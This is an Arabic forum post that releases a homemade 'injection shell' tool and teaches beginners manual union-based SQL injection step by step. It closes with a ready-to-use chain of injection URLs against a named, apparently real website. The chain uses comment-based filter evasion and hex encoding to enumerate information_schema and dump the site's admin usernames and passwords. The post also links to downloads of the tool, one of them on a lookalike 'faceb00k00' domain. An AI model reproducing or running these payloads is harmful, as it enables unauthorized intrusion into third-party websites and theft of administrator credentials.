.'. بسم الله الرحمن الرحيم .'.
السلام عليكم ورحمه الله وبركاته
أسعد الله صبآحكم / مسآئكم بالخيرات والسرور
انتهيت اليوم من برمجه اول سكربت لي وان شاء الله ما يكون الاخير وهي اداه شل
الحقن بأصدارها الاول
injection shell والتي تجمع عده تخطيات لمشاكل الحقن اليدوي وايضا فحص
المواقع
المصابه بثغرات الحقن ايا كان نوعها وبعض الادوات التي نحتاجها عند الحقن ..
تخطيات الحقن ليست من اكتشافي ولكنها تجميع لما تعلمته في الحقن اليدوي ..
لنبدأ بشرح ثغرات الحقن وخطواته وكيفيه استعمال الاداه لتعم الفائده للجميع ..
ثغره الحقن ببساطه هو خطاء يقع فيه المبرمج ناتج عن عدم حمايه المدخلات في سكربت الموقع يسمح للمخترق بالاستعلام وتطبيق الاوامر في قاعده البيانات والتي تختزن بداخلها بيانات الموقع ويستفاد منها الهكر
في استخراج كلمه المرور واليوزر للدخول الى لوحه تحكم والموقع ورفع شل او زرع شل من خلال هذه الثغره .
خطوات الحقن :
( يتم اولا فحص الموقع من الخطاء في المتغيرات الطرفيه ويتم الاستدلال بوجود الخطاء
اذا ظهر الخطاء او تغيرت الصفحه بشكل كلي او جزئي ) . نشوف مثال :
نبدأ بفحص عده مواقع مصابه وغير مصابه من خلال الاداه .. Check Sql Injection ..
ملاحظه :" اداه الفحص تعمل جزئيا في الاستضافات المجانيه والسبب انهم مانعين داله set_time..
هذه الداله وظيفتها ايقاف عمل الاسكربت اذا تجاوز 30 ثانيه .. لذا حاول ان تتخطى الدوال الممنوعه وراح تفحص لك عدد ما تشاء من المواقع, او سيرفر شخصي ما في اي مشكله".
طلع لنا ثلاثه مواقع مصابه .. نتأكد من الاصابه ونعرف نوع الخطاء راح اشتغل على اول موقع .
كيف نعرف نوع الخطاء في الموقع ؟؟
نروح لأول خيار في الاداه database error ونحط رابط الموقع .
طلع لنا عده روابط نجرب اي رابط وافضل الرابط الاول '
طلع لنا خطاء من نوع mysql تعتبر من قواعد البيانات المشهوره وسهل استغلالها
ننتقل للخطوه الثانيه :
( ثم نقوم بالاستعلام عن عدد االاعمده في الجدول )
نرجع للاداه نحط نفس الرابط ونروح للخيار الثاني order by ونفتح اي رابط
نلاحظ ظهر لنا error اي لا يوجد في قاعده البيانات اعمده بهذا العدد 1000 , ننقص للـ 10
ظهر خطاء من جديد .. ننقص العدد الى ان يختفي الخطاء ويعود الموقع كما كان
لاحظنا عند العدد 8 اختفى الخطاء ..وهذا يعني عدد الاعمده 8
ننتقل للخطوه الثالثه :
( بعدها نستخرج الاعمده المصابه من خلال معرفتنا بعدد الاعمده في الخطوه السابقه )
نرجع للاداه ونحط نفس الرابط مع اضافه القيمه السالبه - بعد اشاره = وايضا نضع عدد الاعمده

نفس المنوال نفتح الرابط وننتقل للخطوه الرابعه :
( سيتم طباعه الاعمده المصابه في الصفحه نقوم باستبدالها بامر مثلا اصدار القاعده )
نلاحظ هنا في الصفحه العمود المصاب هو العمود الثالث

نرجع للاداه ونشوف الاوامر الموجوده ملاحظه في هذه الخطوه نقوم بنسخ اخر رابط ونضع رقم العمود المصاب كما في الصوره
نفتح اي رابط من الروابط الاولى او نكتفي بالاول حاليا .. نلاحظ ظهر لنا نص طويل لاننا دمجنا الاستعلامات الثلاثه
وهي user() ,version() , database() يفصل بين كل امر فاصله منقوطه : طبعا اللي يهمنا
هنا هو اصدار القاعده اذا كان الاصدار الخامس نواصل الحقن اما الاصدار الرابع يحتاج للتخمين كما في الصوره

نرجع للاداه ولا نغير اي شيء , فقط نذهب للاسفل للثمانيه الروابط الاخيره

ننسخ واحد منهم ونحطه, ونأشر على الخيار الاخير لاحظ هذه المره ما راح نحط اي شي في المربع مع مراعاه حذف -- من نهايه الرابط
الخطوه الخامسه وقبل الاخيره :
( بعدها نقوم بالبحث عن اسم الجدول والعمود الذي يحتوي على كلمه السر واليوزر )
نفتح اي رابط من الروابط الاولى , راح نلاحظ في الصفحه وجود password كلمه السر وهذا ناتج من تشفير كلمه %pas% في الرابط في الخطوه القادمه راح اشرح كيفيه التشفير , وصلنا الى عمود الباسوورد بجانبه اسم قاعده البيانات وبجانبه اسم الجدول المحتوي على عمود الباسورد
الخطوه الاخيره :
( بعد استخراج اسم الجدول نقوم بتطبيق امر استخراج كلمه السر واليوزر )
بما اننا عرفنا اسم الجدول المحتوي على كلمه السر اذا سنقوم بالاستعلام عن بقيه الاعمده الموجوده
في هذا الجدول , ولكن هناك شيء اخر فقاعده البيانات ترفض الاستعلام مباشره للجدول دون تشفير اسم الجدول , لذا سنقوم بتشفير اسم الجدول من خلال اداه sql encoder .
نحط اسم الجدول في اول مربع وراح يطلع لنا عده تشفيرات نختار تشفيره mysql hex
في الخطوه السابقه اشرت الى عدم اضافه اي شيء في المربع الخاص للخيار الاخير ,
ننسخ التشفيره ونحطها في المربع مع الرابط السابق , الان راح نختار الروابط اللي نهايتها التشفيره
جميل طلع معانا اول عمود في الجدول ونحن نريد كل الاعمده .. راح نضيف كلمه group_ قبل concat .. طلعت معانا كل الاعمده وبكذا راح ناخذ الاعمده اللي تهمنا عمود الباسوورد وعمود اليوزر
وصلنا لاخر نقطه وهي طلب الباسورد مع اليوزر .. نعدل على الرابط بالبيانات اللي حصلنا عليها وهي
اسم الجدول واسم قاعده البيانات واسم عمود الباس واليوزر . الناتج النهائي راح يصير كذا
الاوامر مرتبه :
كود:
http://www.reaplasrack.co.uk/content.php?id=129
http://www.reaplasrack.co.uk/content.php?id=129+order+by+8--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,3,4,5,6,7,8--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5,6,7,8--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5,6,7,8+fRoM+inFORmation_scheMA.COlumns+wHERe+coluMn_NamE+LIKE+CHAR(37,112,97,115,37)--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,unhex%28hex%28Concat%28Column_Name,0x3e,Table_schema,0x3e,table_Name%29%29%29,4,5,6,7,8/*!From*/+InfORmaTion_scHema./**/columns+/*!50000Where*/+/*!Table_name*/=0x61646D696E--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,unhex%28hex%28group_Concat%28Column_Name,0x3e,Table_schema,0x3e,table_Name%29%29%29,4,5,6,7,8/*!From*/+InfORmaTion_scHema./**/columns+/*!50000Where*/+/*!Table_name*/=0x61646D696E--
http://www.reaplasrack.co.uk/content.php?id=-129+union+select+1,2,unhex%28hex%28group_Concat%28name,0x3e,password%29%29%29,4,5,6,7,8/*!From*/+bluemonkeycms./**/admin--
تحميل الاداه :
http://www.gulfup.com/?cPAke8
http://pastebin.com/WMfM3S36
رابط مباشر : http://faceb00k00.bl.ee/injectionshell.php
اتمنى ان اكون قد وفقت في الشرح ووصلت الفكره لكل المبتدأين الراغبين في تعلم الحقن اليدوي ..
كنت ارغب في تطوير الاداه اكثر للاستهداف ولكن للاسف ضيق الوقت لم يسعفني بسبب قرب امتحاناتي للثانويه
العامه دعواتكم لي بالتوفيق والنجاح .
أهداء لجميع العرب والمسلمين تحياتي للجميع .